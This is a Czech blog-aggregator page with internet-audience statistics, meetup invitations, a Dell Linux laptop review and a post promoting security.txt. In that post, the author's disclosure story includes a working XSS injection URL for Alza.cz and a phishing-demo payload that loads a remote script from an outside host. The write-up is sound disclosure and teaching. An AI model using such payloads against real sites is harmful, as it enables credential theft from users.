Planeta.OpenAlt.org

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů tereza.tumova@… Čt, 04/19/2018 - 06:55

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů starších 10 let. Z tohoto čísla je 800 tisíc exkluzivně mobilních uživatelů, tedy těch, kteří se připojují k internetu výhradně prostřednictvím chytrých telefonů a tabletů. Data představilo Sdružení pro internetový rozvoj (SPIR) na tradiční kvartální prezentaci výsledků projektů NetMonitor a AdMonitoring.

„Nárůst počtu uživatelů internetu je způsoben postupným stárnutím obyvatel, pro které je digitální svět běžnou denní součástí života. Roste tedy hlavně nejstarší věková skupina 55+, protože do tohoto věku je penetrace internetu již téměř 100 %. Pozitivní je i růst počtu exkluzivně mobilních uživatelů. Jednak potvrzuje celosvětový trend tzv. mobile first přístupu, který platí i pro Českou republiku, a pak se do něj promítlo také zrušení datového roamingu v rámci EU,“ komentovala výsledky Kateřina Hrubešová, výkonná ředitelka SPIR.

Kompletní výsledky kvartální prezentace naleznete zde.

velikost_internet_populace_10+_brezen18_celek

velikost_internet_populace_10+_brezen18_detail

 

Pozvánka na 151. sraz - Brno

duben
18
Openalt.org

151. brněnský sraz bude v pátek 20. 4. od 18:00 v restauraci Benjamin na Drobného 46.

Vyjádření SPIR k informacím o počtu uživatelů blokujících reklamy, které proběhly médii v týdnu od 16. dubna 2018

Vyjádření SPIR k informacím o počtu uživatelů blokujících reklamy, které proběhly médii v týdnu od 16. dubna 2018 tereza.tumova@… St, 04/18/2018 - 15:17

SPIR zaznamenal v médiích články odvolávající se na průzkum spol. AITOM, který mj. přináší údaje o tom, že: „Obecně zastává 90 % Čechů názor, že reklamu na internetu by mělo být možné vypnout úplně, omezit se ji pokusilo už 70 % z nich.“ SPIR nemá průzkum AITOM k dispozici, aby se seznámil s jeho metodikou a vzorkem respondentů, na kterém byl realizován, proto nemůže hodnotit, do jaké míry jsou závěry reprezentativní a vypovídající o obecné populaci uživatelů internetu. Každopádně SPIR považuje za nutné se vůči výsledkům tohoto průzkumu vymezit a uvést, že podle údajů z dlouhodobého a počtem a skladbou respondentů rozsáhlého a reprezentativního strukturálního exkluzivního kontinuálního výzkumu (SEKV), který pro SPIR realizuje dvakrát ročně spol. STEM/MARK, se podíl uživatelů blokujících reklamu v posledních třech letech udržuje pod hranicí 20 %.

Čtvrtletní prezentace projektů SPIR

Čtvrtletní prezentace projektů SPIR petr.kolar@spir.cz Út, 04/17/2018 - 10:29

V úterý 17. dubna 2018 od 10 hod. se uskutečnila samostatná prezentace projektů SPIR v art & event gallery ČERNÁ LABUŤ, Na Poříčí 25, Praha 1. Prezentace jsou ke stažení v příloze.

Pozvánka na 151. sraz OpenAlt – Praha

duben
16
Openalt.org

Dubnový pražský sraz spolku OpenAlt se koná již tento čtvrtek – 19. 4. 2018 od 18:00 v Kavárně Ideál (Sázavská 30, Praha), kde máme rezervovaný salonek. Tématem tohoto srazu bude OpenStreetMap (OSM) aneb svobodné mapy.

Problém s exkluzivními distribučními kanály softwaru

Za posledních několik let vyrostly dva největší distribučními kanály softwaru – Apple App Store a Google Play. Vývojářům umožňují snadnou distribuci softwaru z jednoho místa milionům uživatelů. Těm naopak poskytují obrovskou nabídku aplikací, které lze nainstalovat jedním kliknutím a které jsou navíc otestované, a u kterých se Google a Apple snaží, aby byly pokud možno bezpečné. Má to ale jednu chybu…

App Store a Google Play mají na iOS, respektive Androidu prakticky exkluzivitu v distribuci softwaru. Výrazně více to platí o iOS, kde je instalace aplikace mimo App Store vyloženě netriviální a mimo schopnosti běžného uživatele. U Androidu je to výrazně jednodušší, ale také ne samozřejmé.

V čem je problém? Prakticky tím ztrácíte kontrolu nad tím, co na vašem zařízení může běžet. Ukazuje se to třeba nyní na případu Telegramu v Rusku. Ten odmítl místnímu regulátorovi vydat klíče od šifrované komunikace jeho uživatelů a byl zablokovaný. Zcela blokovat nějakou službu dnes není úplně jednoduché. Telegram prý pracuje na úpravách, které sice sníží rychlost, ale blokování obejdou, aniž by uživatelé museli cokoliv dělat. Do budoucna si pohrává s myšlenkou distribuovaného DNS v blockchainu, které by takové blokování ještě více znesnadnilo.

Už když se poprvé blokování Telegramu začalo řešit, říkal jsem si, že existuje jedno velmi efektivní „zabití“ určité služby. A to je požádat Apple a Google o stažení aplikací z jejich oficiálních distribučních kanálů. A přesně to ruský regulátor dneska podle zpráv udělal. Uživatelé si možná ještě rozjedou na pár kliknutí nějakou VPN, zvláště v zemích, kde je blokování internetových služeb rozšířené, je to běžné i mezi uživateli bez velkých technických znalostí, ale jen naprosté minimum z nich si kvůli tomu bude jailbreakovat iPhone.

Tento způsob blokace je účinný také v tom, že můžete efektivně potlačovat také služby, které jsou decentralizované. Uživatelé Jabberu a podobných decentralizovaných komunikačních služeb tvrdí, že jsou mnohem méně náchylní na blokování než centralizované služby jako Telegram. To je u blokování na úrovni síťového provozu jistě pravda, ale představte si, že si autority u Applu a Googlu vynutí stažení všech klientů Jabberu. Čím se ke své službě připojíte? Řešením by byl webový klient, ale uživatelský zážitek natolik poklesne, že uživatelé stejně utečou jinam.

Je samozřejmě otázka, jak se Apple a Google zachovají, můžou Telegram podržet a výzvu ignorovat či odmítnout, ale sami by se tím vystavovali riziku postihu a případné blokaci. A jak už se několikrát ukázalo, nebylo by to poprvé, kdy tyto firmy podobnému tlaku ustoupily. Jde tu přece jenom o byznys za miliardy dolarů.

Ať už se v tomto případě rozhodnou jakkoliv, problém zůstává stejný: nejste to vy, kdo rozhoduje o tom, co poběží na vašich zařízeních, ale Apple a Google. Zvláště u Applu to platí téměř absolutně a je to asi nejsilnější důvod, proč jeho produkty nepoužívám.

V tomto jsem pořád rád za otevřenost desktopových platforem (ať už to jsou Windows nebo Linux). Nabízejí způsoby, jak omezit možnosti, odkud se může software instalovat a přiblížit se tak „bezpečnému“ modelu exkluzivního distribučního kanálu, ale pořád jsou otevřené softwaru z jiných zdrojů. Zablokovat klienta Telegramu zde by bylo prakticky nemožné a ruský regulátor se o to ani nepokouší.

Reformované RPM skriptlety

duben
11
Jozef Mlich
A je tu další ohlédnutí se za DevConfem. Jaká je budoucnost RPM ve fedoře? Will Woods a Stephen Gallager se zabývali tím, jak se používají RPM a co jim vadí na skiptletech. První otázkou je co jsou vlastně skriptlety a jak zapadají do fungování RPM. Osobně bych použití balíčků rozdělil do dvou fází. V první … Continue reading "Reformované RPM skriptlety"

Pozvánka na Interact 2018

Pozvánka na Interact 2018 tereza.tumova@… Út, 04/10/2018 - 10:42

IAB Europe zve na Interact 2018 v Miláně. Do 13. 4. zvýhodněná cena vstupenky, při registraci použijte kód CZEIAB.banner Interact 2018

Ukládání celých WWW stránek na disk (MAFF, MHT, proxy?)

Co používáte, když si chcete nějakou stránku archivovat na disk? Dříve fungovalo dobře MAFF, ale to už v aktuálních verzích Firefoxu není podporované. UnMHT taky ne.

K čemu je soubor security.txt

Občas někdo najde nějakou zranitelnost a chtěl by ji nahlásit, ať ji výrobce nebo vývojář může opravit. Koncem roku 2017 jsem pár takových drobných chyb také objevil.

Nalezení zranitelnosti

V sobotu 16. prosince jsem reportoval zranitelnost Cross-Site Scripting (XSS) na vcelku známém webu Alza.cz 👽. Chyba spočívala v tom, že se neošetřená adresa vypsala do Not Found stránky mezi značky <script> a </script>, konkrétně do řetězce, který se posílá do Google Analytics jako parametr události. Kód na adrese https://www.alza.cz/foo vypadá přibližně takhle:

<script>
ga('send', 'event', 'Error404', 'http://www.alza.cz/foo');
</script>

Stačilo do browseru zadat https://www.alza.cz/foo?');+alert(1);+// a alert spatřil světlo světa:

<script>
ga('send', 'event', 'Error404', 'https://www.alza.cz/foo?'); alert(1); //');
</script>

Jenže alert(1) nedokáže moc dobře ukázat možnosti vloženého JavaScriptu, tak jsem připravil názorné demo, které po kliknutí na zákeřný odkaz zobrazí alzácké přihlašovací okno. Při pokusu vyplnit e-mail a heslo nebo po stisknutí tlačítka „Přihlásit“ vyskočila hláška, že jde o ukázku phishingu a nic se nikam neposlalo. Mohlo by, JavaScript by mohl třeba změnit atribut action a přihlašovací údaje by se odeslaly třeba na útočníkův web, ale to nebylo smyslem ukázky.

Zákeřný odkaz s ukázkou vypadal takto (dal by se samozřejmě zkrátit nějakým zkracovačem adres):

https://www.alza.cz/foo?');d=document;s=d.createElement('script');s.src='https://baz.xss.sk/js';d.getElementsByTagName('head')[0].appendChild(s);//

A konečně na závěr varovná hláška překrývající přihlašovací formulář:

Ukázka pokusu o phishing

Nahlášení chyby

Chybu jsem chtěl nahlásit, ale musel jsem nejdřív zjistit komu. Na uživatelskou podporu popis bezpečnostních chyb posílat nechcete, nevěděli by co s tím. Tak jsem začal hledat a po nějaké době jsem narazil na Vladimíra Dědka, ředitele webového a mobilního vývoje. No jo, ale kdo to je, jak se chová, pochopí o co mi jde? Po další chvíli gůglování jsem narazil na video, ve kterém Jirka Rostecký z Mladého podnikatele rozebírá s Vladimírem různé vývojářské věci, což mě utvrdilo, že Vladimír je můj člověk. Poslal jsem mu stručný e-mail s popisem chyby a vrátil se k tomu, co jsem chtěl původně dělat.

Odpověď přišla hned druhý den (v neděli!) ráno. Alza chybu během pár dní opravila, přístup k problému byl super, komunikace taky a za to všechno jí patří velký dík. Alza teda zareagovala podobně rychle jako DomainTools, kam jsem hlásil podobnou chybu v pátek před vánocemi.

Schválně si tipněte, co mi trvalo nejdéle: najít chybu, vyrobit demo, nebo zjistit komu chybu nahlásit?

je správně, nejvíc času mi zabralo nalézt komu chybu vlastně popsat. Aby popisu i závažnosti rozuměl a aby na mě rovnou neposílal firemní právníky. Když jsem v podstatě náhodou našel uniklá data z hostingu Czechia od Zoneru, tak jsem taky sháněl správný kontakt celkem dlouho. Od podpory, od které jsem chtěl získat speciální adresu na hlášení bezpečnostních incidentů, jsem se dozvěděl, že žádnou takovou adresu nemají a že to mám poslat nešifrovaně klasicky na support, že se mi ozvou zpět. Čemuž na jednu stranu rozumím, na druhou stranu to leckoho může odradit a pak může udělat zoufalost, které by třeba později mohl litovat.

Chápu, že na stránce „O nás“ nebo „Kontakty“ asi ve většině případů netoužíte mít odkaz „Sem posílejte hlášení bezpečnostních chyb“, ale jak dát světu najevo kam s ním? Asi nechcete, aby se vás lidi veřejně na Twitteru ptali, kam mají chyby posílat, tak jako jsem to udělal při pokusu reportovat problémy certifikační autoritě AlwaysOnSSL. Výpis z whois často obsahuje neveřejné údaje nebo pro tento účel nesprávné osoby.

security.txt

Problém se pokusil vyřešit Ed Foudil. Vytvořil návrh standardu security.txt (přesný název zní „A Method for Web Security Policies“, brzy by mohl vyjít jako RFC), což je ve zkratce soubor security.txt, ze kterého se dozvíte kam a jak chyby hlásit.

Soubor security.txt musí být na předvídatelném místě, pro weby to je adresář /.well-known/. Ten je definován v RFC 5785 a slouží právě jako základní adresář pro „dobře známá“ umístění. Používá jej např. KeyBase i certifikační autorita Let's Encrypt pro ověření domény a další. Cesta k mému souboru security.txt je tedy https://www.michalspacek.cz/.well-known/security.txt, z „rootu“, tedy z /security.txt je doporučeno nastavit přesměrování. Na interních serverech a souborových systémech mimo web můžete mít soubor .security.txt (s tečkou na začátku) rovnou v rootu.

Contact

V souboru jsou uvedeny direktivy a hodnoty oddělené dvojtečkou, přičemž jedna direktiva může obsahovat jen jednu hodnotu (např. adresu), ale můžete uvést více stejných direktiv s různými hodnotami, každou dáte na samostatný řádek, přičemž každá řádka musí končit znaky CRLF nebo jen LF. Soubor musí obsahovat alespoň direktivu Contact, jako hodnotu můžete uvést e-mailovou adresu, telefonní číslo nebo webovou stránku s dalšími informacemi. U mě vypadají direktivy Contact takhle:

Contact: https://www.michalspacek.cz/kontakt
Contact: https://www.michalspacek.com/contact

V souboru mám i odkaz na Twitter a Facebook, zde jsem je pro jednoduchost vynechal.

Encryption

Pomocí direktivy Encryption můžete (a měli byste) přidat odkaz na váš PGP klíč, kterým je možné komunikaci zašifrovat. U mě vypadá takto:

Encryption: https://www.michalspacek.cz/key.asc

Signature

Soubor security.txt můžete podepsat (třeba pomocí gpg --detach-sign security.txt) a podpis přidat např. do souboru security.txt.sig, který také umístíte do adresáře /.well-known/. Odkázat na něj můžete pomocí direktivy Signature. Nezapomeňte soubor podepsat znovu po každé i sebemenší změně.

Policy

Do Policy můžete přidat odkaz na „pravidla hry“, bezpečnostní politiku nebo pravidla hlášení chyb.

Acknowledgement

Jestli máte „zeď slávy“ se jmény firem nebo lidí, kteří vám pomohli chybu najít a opravit (má ji např. T-Mobile), sem můžete dát odkaz. Pro jednoduchý příklad se podívejte do security.txt již zmíněné AlwaysOnSSL.

Hiring

Pokud sháníte nějaké lidi, profíky na bezpečnost, tak sem můžete dát odkaz na stránku s inzerátem nebo seznamem volných pozic.

✅ Přidat security.txt

Jestli se vám dneska nechce nic dělat, tak aspoň přidejte tenhle soubor (což předpokládá, že víte kam mají hlášení o bezpečnostních chybách chodit) a můžete to vykázat jako „zlepšení vztahu se security komunitou a zjednodušení hlášení chyb“. A když se vám chce dělat něco jiného, tak ten soubor přidejte alespoň zítra. Nikdy nevíte, kdy ho budu potřebovat :-)

K povinné direktivě Contact doporučuji přidat i Encryption (tedy pokud máte šifrovací klíč), zbytek můžete použít podle situace.

Na webu securitytxt.org najdete jednoduchý generátor obsahu souboru, inspirovat se můžete i u , na Have I Been Pwned?, Report-URI nebo u Googlu, 1Passwordu a Facebooku. Informace v security.txt má i česká hostingovka Active24 a jednoduchý soubor najdete i na webu jedné švýcarské banky.

Anemometr I

Dneska u nás hrozně moc fučí vítr, tak jsem si říkal, že by to chtělo měřit, jak moc silný je. Od nápadu k výsledku je jen krůček, pokud má doma člověk 3D tiskárnu. Stačí skočit třeba na Thingiverse.com, najít hotový návrh větrné turbíny, vytisknout a kochat se.

Vertical Wind Turbine je opravdu moc pěkná, ale na dnešní vichr příliš velká:


Našel jsem podobný, ale mnohem menší design - Wind Mill, tak jsem ho hned vytiskl:




Pak už jen vrazil zespodu malý motorek, který jsem měl po ruce, a šel zkusit ven:





Bohužel se motor jaksi nechce roztočit, a to ani při hodně silném větru. Pokud se ale už uráčí roztočit, jako třeba v čase 0:44 když do něj fouknu, tak pak už se točí pěkně, skoro k nezastavení :-)

EDIT: tentýž den večer

Aby vítr nemusel hledat správný úhel fouknutí do lopatek, vytiskl jsem a nalepil nahoru další stejný segment, jen pootočený o 90 °. To pak i slabší večerní větřík turbínu roztočil a motor vygeneroval i nějaké to napětí (řádově stovky milivoltů).



To už půjde měřit Arduinem nebo podobným mikrokontrolérem a tak získám digitální informaci o síle větru.

Chcete notebook s Linuxem? Kupte si Dell!

Loni jsem psal, že po deseti letech odcházím od ThinkPadů a přecházím na Dell, který jsem vyfasoval v práci. Uběhl necelý rok, což je myslím dostatek času na to, abych mohl bilancovat, jaká změna to byla.

Dell-XPS-13-infinity-2015

V práci jsem vyfasoval Dell XPS 13, který patří mezi ultrabooky, které se v poslední době staly populárními hlavně díky Macbookům. Hraje se u nich především na váhu, velikost a atraktivní vzhled a to i na úkor některých chybějících konektorů. Co se týče atraktivního vzhledu, XPS 13 se opravdu povedl. Zevnějšek je o několik úrovní jinde než ThinkPady. Na druhou stranu si pořád myslím, že pokud chce člověk něco opravdu odolného, co snese bezohledné zacházení, robustní ThinkPad by asi udělal lepší službu. Možná to je ale jenom můj dojem, protože po roce každodenního používání je XPS 13 jako nové. Každopádně ve světě kavárenského IT ultrabooky odolností obstojí… i když nevím, jak si poradí, když do nich někdo vylije karamelové macchiato od Starbucksu 🙂

Co se týče spolehlivosti, musím přiznat, že jsem notebook jednou reklamoval kvůli hlučnějšímu větráčku. Servis Dellu byl ale skvělý. V pět odpoledne jsem zavolal na jejich linku a v devět ráno druhý den už byl jejich technik u nás a větráček vyměňoval.

V čem je ale XPS 13 a Dell obecně skvělý, je příkladná podpora Linuxu. Můj model byl sice s Windows, protože verzi s Linuxem nebylo přes firemního dodavatele tak jednoduché sehnat, ale moc dlouho se na disku neohřály a šla místo nich Fedora. Za celý rok jsem neměl u samotného notebooku jakýkoliv problém s kompatibilitou s Fedorou:

  • Uspávání ✅ – nepamatuji si jediný případ za celý rok, kdy by měl notebook problém s uspáním a probuzením. Nezkoušel jsem Intel Rapid Start (překopírování RAM na SSD po nějaké době uspání, aby se ušetřila energie), ale to je dost problém nastavit při vlastní instalaci i s Windows. A vlastně ani nevím, jestli ho notebook podporuje, protože nejnovější řady notebooků už od této technologie upouští.
  • Touchpad ✅ – funguje, jak má, jsem schopný s ním provádět i „víceprstá“ gesta pro správu oken, ale moc je nepoužívám, protože klávesovými zkratkami je to pohodlnější.
  • Funkční klávesy ✅ – vyzkoušel jsem všechny (zvuk, jas, ovládání přehrávání, vypnutí wifi, podsvícení klávesnice…) a funguje vše včetně integrace s desktopem (že se zobrazují indikátory). Nicméně některé jsou krapet redundantní. Klávesa pro vyhledávání sice přepne do Činností a rovnou skočí do vyhledávacího pole, nicméně stejný efekt má klávesa Super, pač v Činnostech lze okamžitě vyhledávat psaním bez nutností skákat do vyhledávacího pole.
  • Výdrž na baterii ✅ – výdrž na baterii při běžné činnosti mám 7-10 hodin, což je srovnatelné s tím, co reportují uživatelé Windows. A to ve výchozím nastavení. Pokud si pohrajete s PowerTOPem můžete se dostat i na lepší hodnoty. Citelně vyšší výdrž má verze s FullHD monitorem.
  • Wifi ✅ – bezdrátové připojení už funguje out-of-the-box téměř všude, ale přesto uvádím. Kvůli některým kartám od Broadcomu to pořád není úplně samozřejmost.
  • Bluetooth ✅ – taktéž, používám především na hudbu a zatím jsem neměl problém s připojením několika bluetooth sluchátek a bezdrátových repráčků.
  • Webkamera & mikrofon ✅ – obojí bez problémů. Jen u kamery je problém, že je kvůli úzkým rámečkům displeje dole, takže jí občas blokují výhled při psaní, ale to není závada softwaru.
  • Thunderbolt ✅ – jediná věc, kde jsem musel udělat kompromis. Aby mi kromě monitorů fungovala i USB zařízení, musel jsem vypnout v BIOSu zabezpečení TB. To se ale mění s Fedorou 28, která je první linuxovou distribucí, jež podporuje bezpečnostní úrovně Thunderboltu jak v GUI, tak v kernelu.
  • Aktualizace firmwaru ✅ – Dell byla první firma, která podporovala LVFS, který umožňuje jednoduše aktualizovat firmware včetně BIOSu v Linuxu. Aktualizace firmwaru se mi tak objevovaly mezi ostatními aktualizacemi v GNOME Software a na rozdíl od předchozím notebooků mám BIOS aktuální.
  • HiDPI monitor ✅ – XPS 13 má rozlišení 3200×1800, což je DPI 276, nádherně ostrý displej, kde něco jako subpixelové vykreslování je věcí minulosti. Je dostatečně vysoké na to, aby prostředí a aplikace mohly škálovat na 200 %, což je dobře, protože jen celočíselné škálování je skutečně bezproblémové (bez ohledu na systém). Samotné prostředí škáluje bezchybně, stejně tak většina aplikací. Z těch, které používám, stále špatně škáluje GIMP nebo Zim a vůbec Spotify.

Trošku jiná kapitola je Thunderbolt dock Dell TB16. Když jsem ho před rokem pořizoval, věděl jsem, že není Dellem oficiálně pro Linux podporovaný a podpora není ideální, ale právě změnit tento stav byl jeden z motivátorů. Musím říct, že po většinu času dock jakštakš fungoval, ale byly s ním v jednom kuse problémy. Nebylo to často jen o kompatibilitě s Linuxem, ale někdy i chyby čistě ve firmwaru. Jednou Dell třeba vydal aktualizaci, která se snažila řešit přehřívání docku a snížila napětí v USB konektorech natolik, že USB zařízení neměla dostatek energie na svůj chod. To postihlo i uživatele Windows. Naopak všemožné adaptéry a docky s USB 3 (a USB-C konektorem), které jsem zkoušel, fungovaly bezproblémově, takže pokud nepotřebujete externí 4K monitor, sáhněte raději po USB 3 než po Thunderboltu.

Od Dellu jsem zhruba před 10 lety koupil netbook s Ubuntu. A byla to hrozná zkušenost. Měl grafickou kartu GMA500 Poulsbo, která měla narychlo spíchnutý ovladač pro Linux, který fungoval jenom s danou verzí Ubuntu. Když jsem upgradoval, začaly problémy a z těch už jsem se nevyhrabal, protože ta karta nikdy pod Linuxem pořádně nefungovala.

Dell se z toho ponaučil. Dnes se snaží, aby všechny ovladače byly v mainline kernelu, to znamená, aby bylo zajištěno, že budou fungovat i s dalšími verzemi a napříč distribucemi. A jde to vidět. Fedora sice není oficiálně podporovaná distribuce (Dell prodává linuxové modely s Ubuntu a RHELem), ale za uplynulý rok jsem poskočil o několik verzí kernelu a podpora byla vždy bezvadná. Dell má svůj vlastní tým linuxových vývojářů a musím říct, že do toho dává netriviální množství úsilí a z výrobců počítačů s námi spolupracuje zdaleka nejvíc.

I když se Dell snaží o dobrou podporu Linuxu napříč svým portfóliem notebooků (řeší s námi i problémy TB16, který oficiálně pro Linux nepodporují), jak ukazuje příklad právě TB16, je dobré sázet na to, co Dell oficiálně podporuje, pokud chcete 100% kompatibilitu. Těch modelů není úplně málo a přibývají. Většinou jsou dostupné i u nás a pokud je nemají přímo na stránkách, je možné je objednat po telefonu.

Existují i menší výrobci, kteří se specializují přímo na Linux (System76, Purism, SLIMBOOK,…), ale buď mě nepřesvědčili zpracováním a kvalitou hardwaru (System76), nebo mají vyšší ceny (Purism), nebo nemají u nás zastoupení a servis na úrovni velkých výrobců jako Dell, proto si myslím, že Dell je dnes nejlepší cesta k tomu mít bezproblémový linuxový notebook. A očividně nejsem sám, protože na linuxových konferencích, kde roky kralovaly ThinkPady, jsou dnes nejvíce vidět Delly.

P.S. Linux dnes lze nainstalovat téměř na vše, ale stejně jako všude jinde i u něj platí, že pokud chcete mít zaručený bezproblémový provoz, tak prostě musíme kupovat notebooky, na kterých je oficiálně podporovaný a které jsou s ním ideálně i prodávané. Platí to i u konkurence. Uživatelé Windows nemůžou předpokládat, že jim budou ideálně fungovat třeba na Macboocích a asi těžko někdo předpokládá, že mu bude macOS (Hackinstosh) fungovat na náhodně vybraném počítači s Windows. Přesto lidi něco takového očekávají od Linuxu (i když přiznávám, že svoboda nainstalovat jej kdekoliv takovému smýšlení nahrává). Jenže bez podpory výrobce to nikdy ideální nebude.

Facebook a soukromí

V poslední době je v kurzu kopnout si do Facebooku. Otázka je, jestli právem. Pojďme si postupně projít všechny tři bezpečnostní

Příspěvek Facebook a soukromí pochází z Spajk.cz

V březnu se uživatelé zajímali o své zdraví, zvýšil se také zájem o automobily

V březnu se uživatelé zajímali o své zdraví, zvýšil se také zájem o automobily tereza.tumova@… Pá, 04/06/2018 - 10:07

Březnové výkyvy počasí způsobily prudký nárůst nemoci dýchacího ústroji, mnoho lidí tak hledalo pomoc nejen u doktora, ale také na internetu. Velké popularitě se kvůli tomu těšily zdravotní portály. Nárůst počtu návštěvníků u této kategorie zaznamenaly všechny platformy, nejvíce se ovšem zvýšila návštěvnost z tabletů (o více než 27 %). Na mobilních telefonech činil nárůst 13 % a na klasických počítačích téměř 17 %. Dohromady navštívilo kategorii Zdraví v březnu téměř 2,67 milionu RU, tedy přibližně třetina všech českých uživatelů.

Zdá se, že s prvními jarními dny se uživatelé začali více zajímat také o automobily. Výrazně rostly dvě kategorie v této oblasti: Auto – moto obsah, která zahrnuje  portály s články či testy automobilů, a Auto – moto prodej, v níž lze nalézt weby umožňující prodej či koupi aut. Kategorie Auto-moto obsah rostla především na tabletech a to o více než 16 %. Na klasických počítačích a mobilních telefonech se její návštěvnost zvýšila o 7-8 %. Druhá zmíněná kategorie zaznamenala dokonce ještě vyšší nárůst návštěvnosti: z klasických PC a mobilních telefonů o pětinu a z tabletů téměř o třetinu. Celkový počet českých uživatelů, navštěvujících weby v kategorii Auto-moto obsah dosáhl téměř 3 milionů, zatímco kategorie Auto – moto prodej vykazovala 1,7 milionu uživatelů

V březnu rostla také návštěvnost kategorie Cestování obsah, jež obsahuje informace o cestovních destinacích či tipy na cesty a další praktické informace pro cestovatele. Nárůst počtu uživatelů byl zde zaznamenán u mobilních zařízení (přibližně 12 %). Na zvýšení popularity této kategorie mohly mít vliv jarní prázdniny, které v jednotlivých krajích probíhaly v první polovině měsíce. Celkový počet uživatelů v této kategorii ze všech zařízení dosáhl 2,4 milionu. Větší množství volného času mohlo ovlivnit i  nárůst návštěvnosti u kategorií Zájmové servery a hobby či Společenské magazíny. První z těchto kategorií rostla nejvíce na tabletech (11 %), druhá na mobilních telefonech (10 %).

Tab. 1. Výsledky měření návštěvnosti internetu na jednotlivých zařízeních – únor a březen 2018.

Počítače

Únor

 

Březen

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

6 810 696

6 947 422

136 726

2,01%

Zhlédnuté stránky (PV)

15 483 361 970

15 205 821 002

-277 540 968

-1,79%

Reální uživatelé (RU) – PC doma

6 679 763

6 816 468

136 705

2,05%

Zhlédnuté stránky (PV) – PC doma

11 838 869 595

11 762 220 339

-76 649 256

-0,65%

Reální uživatelé (RU) – PC v práci

1 892 080

1 930 801

38 721

2,05%

Zhlédnuté stránky (PV) – PC v práci

3 644 492 374

3 443 600 663

-200 891 711

-5,51%

Mobilní telefony

Únor

 

Březen

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

3 818 991

3 932 024

113 033

2,96%

Zhlédnuté stránky (PV)

2 034 981 191

2 219 162 364

184 181 173

9,05%

Tablety

Únor

 

Březen

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

1 707 532

1 733 973

26 441

1,55%

Zhlédnuté stránky (PV)

338 579 023

353 184 770

14 605 747

4,31%

Zdroj: NetMonitor, únor a březen 2018.

IAC18 připomněla důležitost jednotné měny pro měření návštěvnosti internetu

IAC18 připomněla důležitost jednotné měny pro měření návštěvnosti internetu tereza.tumova@… Čt, 04/05/2018 - 14:58
Tisková zpráva

Praha 5. dubna 2018 ­– Jedenáctý ročník Internet Advertising Conference (IAC) pořádané Sdružením pro internetový rozvoj (SPIR) zahájil předseda výkonné rady Ján Simkanič připomenutím důležitosti jednotné měny pro měření návštěvnosti internetu v dnešní datově nejisté době. Upozornil také na velké výzvy, které před českým internetovým prostředím stojí – sílící regulační tlak, dominanci globálních monopolů a nedůvěru uživatelů.

„Internetové prostředí čeká velká diskuse o nalezení rovnováhy mezi potřebou poskytovat uživatelům služeb to nejlepší pro jejich individuální potřeby a ochranou jejich soukromí. Podmínkou této rovnováhy je vysoká míra transparentnosti a důvěryhodnosti ve všech ohledech, včetně internetové reklamy a jejího plánování. SPIR se snaží v této oblasti jít příkladem – například měření návštěvnosti NetMonitoru jako jedno z mála poskytuje díky veřejně kontrolovatelné metodice jednotnou měnu. Stejně tak SPIR aktivně vstupuje do odborných debat o tom, jak míru regulace upravit tak, aby plnila svůj účel a zároveň nezpůsobila potíže uživatelům ani provozovatelům služeb,“ komentoval předseda SPIR Ján Simkanič.

Internet Advertising Conference 2018 hostila více než 30 zahraničních i domácích přednášejících a téměř 600 účastníků ve třech sálech. Konference pokryla hlavní trendy současného digitálního prostředí, od proměn médií a cílení na uživatele, efektivitu online komunikace, přes programatic, Facebook, datové strategie, po udržení pozornosti a oslovení konzumenta nejen na mobilních obrazovkách, aby byla zakončena velkou debatou o GDPR (Nařízení o ochraně osobních údajů).

Změny, kterými prošla internetová média v posledních letech a klíčové globální trendy byly v hlavním sále tématem dopoledním přednášky Vincenta Peyregne z World Association of Newspapers and News Publishers. Na něj navázal další zahraniční host, Vesselin Popov z Centra psychometriky na Univerzitě v Cambridgi, který představil výsledky výzkumu online chování uživatelů využitelné pro předpověď preferencí a lepší cílení reklamy.

Co znamenalo pro internetovou verzi Denníku N, že Slovensko bylo jedním ze šesti testovacích trhů, kde Facebook provedl změny v newsfeedu, představil Filip Struhárik, manažer sociálních médií. Na Facebook se z jiného úhlu podíval Josef Šlerka z Nadačního fondu nezávislé žurnalistiky, který vedl na Studiích nových medií́ FF UK experiment, jehož cílem bylo mj. zjistit, zda, koho a jak lze pomocí falešných profilů ovlivňovat. Facebooku se věnovaly také další dva příspěvky; Vojtěch Lambert vyzdvihl důležitost obsahu, propojení, zábavy a znalosti fanoušků pro zvýšení virálního dosahu příspěvku a Jakub Křenek z ADison porovnal Instagram s Facebookem z hlediska zásahu, interakce, prodeje a konverzí mobilní reklamy.

Program ve třetím sále patřil především GDPR, oblasti, které se SPIR dlouhodobě věnuje. O zkušenosti z praxe s implementací GDPR ve vydavatelství VLTAVA LABE MEDIA se podělila Marie Makovcová, Thorsten Koch z Google ujistil přítomné o bezpečnostní infrastruktuře cloudového řešení od Google, které může každá společnost využít pro sebe. Závěr programu patřil velké debatě o GDPR, kde ve které zazněly různé pohledy poskytovatelů online obsahu a technologických společností. Které oblasti implementace GDPR byly nejobtížnější, kolik času, peněz a lidských zdrojů bylo třeba alokovat, jak bude v režimu GDPR vypadat spolupráce vydavatelů a technologických firem nebo, kde je hranice mezi oprávněným zájmem a potřebou souhlasu – to byly některé z otázek, na které hledali odpovědi Tomáš Bičík z GroupM, Adam Nykles z Adform, Tomáš Hůlka z Burdy Praha a Marie Makovcová z VLM. Z dotazů i diskuse vyplynulo, že digitální sektor se v GDPR dobře orientuje, přípravu na implementaci nového předpisu nepodcenil a na účinnost této normy je většina firem dobře připravena.

Internet Advertising Conference (IAC) je tradiční akcí Sdružení pro internetový rozvoj (SPIR). Letos proběhl již 11. ročník, na kterém pro téměř 600 účastníků vystoupilo více než 30 přednášejících ze zahraničí i z Česka.

Fotogalerie

Internet Advertising Conference 2018 proběhne 5. dubna

Internet Advertising Conference 2018 proběhne 5. dubna tereza.tumova@… St, 04/04/2018 - 08:57

Již zítra proběhne Internet Advertising Conference 2018. Registrace zde.IAC 2018 screen shot z facebooku

Roland Rubix44 – externí zvuková karta

Mám tu Roland Rubix 44, tak zde je stručný dokumentační zápisek o této USB zvukové kartě a pár fotek. Mimochodem, firmu Roland možná znáte díky MT-32 nebo TR-808. Ale tentokrát se podíváme na jejich současný hardware.

